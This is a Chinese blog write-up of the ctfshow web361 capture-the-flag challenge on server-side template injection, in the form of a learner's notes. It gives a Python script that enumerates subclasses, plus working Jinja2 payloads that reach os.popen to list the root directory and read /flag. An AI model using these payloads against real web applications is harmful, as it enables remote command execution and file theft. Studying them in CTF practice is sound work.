当前位置:网站首页>ctfshow-web361(SSTI)
ctfshow-web361(SSTI)
2022-04-23 18:29:00 【m0_62094846】
看到Hello,猜测输入的参数是name
?name={
{[].__class__.__base__.__subclasses__()}}
然后应该是要写脚本跑程序找需要的函数(用的别人的,现在还不会写python脚本)
这里利用os._wrap_close类
import requests
from tqdm import tqdm
for i in tqdm(range(233)):
url = 'http://5e2ef65c-fcb3-4ca5-9502-acab1d21ebc8.challenge.ctf.show/?name={
{%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'
r = requests.get(url=url).text
if('os._wrap_close' in r):
print(i)
输出132
然后开始运用
用__init__.__globals__查找popen(能查到就行,不需要位置)
__globals__:
该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用__globals__属性访问全局的变量
所以 __init__.__globals__应该就是要调用全局变量
?name={
{[].__class__.__base__.__subclasses__()[132].__init__.__globals__}}
这里应该就是调用全局变量中的popen
os.popen() 方法用于从一个命令打开一个管道。(具体的不是很理解,大概应该就是可以使用命令的意思)
popen方法通过p.read()获取终端输出
?name={
{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']}}
对于借助 open() 函数,并以可读模式(包括 r、r+、rb、rb+)打开的文件,可以调用 read() 函数逐个字节(或者逐个字符)读取文件中的内容。 (可能popen借助了open()函数,不是很清楚)
?name={
{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}
?name={
{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
大概能看懂,知道为什么,但是不会用
版权声明
本文为[m0_62094846]所创,转载请带上原文链接,感谢
https://blog.csdn.net/m0_62094846/article/details/124347670
边栏推荐
- QT reading and writing XML files (including source code + comments)
- kettle庖丁解牛第17篇之文本文件输出
- Kettle paoding jieniu Chapter 17 text file output
- JD-FreeFuck 京东薅羊毛控制面板 后台命令执行漏洞
- CISSP certified daily knowledge points (April 13, 2022)
- The vivado project corresponding to the board is generated by TCL script
- 7-21 wrong questions involve knowledge points.
- Interpretation and compilation of JVM
- 使用 bitnami/postgresql-repmgr 镜像快速设置 PostgreSQL HA
- 【ACM】70. 爬楼梯
猜你喜欢
由tcl脚本生成板子对应的vivado工程
Solution to Chinese garbled code after reg file is imported into the registry
Dock installation redis
Function recursion and solving interesting problems
MATLAB从入门到精通(二)
函数递归以及趣味问题的解决
Qt读写XML文件(含源码+注释)
硬核解析Promise對象(這七個必會的常用API和七個關鍵問題你都了解嗎?)
Spark performance optimization guide
Custom prompt box MessageBox in QT
随机推荐
硬核解析Promise对象(这七个必会的常用API和七个关键问题你都了解吗?)
Nodejs installation
Ucosiii transplantation and use, reference punctual atom
登录和发布文章功能测试
How to restore MySQL database after win10 system is reinstalled (mysql-8.0.26-winx64. Zip)
Kettle paoding jieniu Chapter 17 text file output
Use stm32cube MX / stm32cube ide to generate FatFs code and operate SPI flash
Cygwin64 right click to add menu, and open cygwin64 here
QT tablewidget insert qcombobox drop-down box
PowerDesigner various font settings; Preview font setting; SQL font settings
How to ensure the security of futures accounts online?
Gobang game based on pyGame Library
CISSP certified daily knowledge points (April 12, 2022)
Test questions of daily safety network (February 2024)
Daily network security certification test questions (April 14, 2022)
Gst-launch-1.0 usage notes
WIN1 remote "this may be due to credssp encryption Oracle correction" solution
14个py小游戏源代码分享第二弹
From source code to executable file
C medium? This form of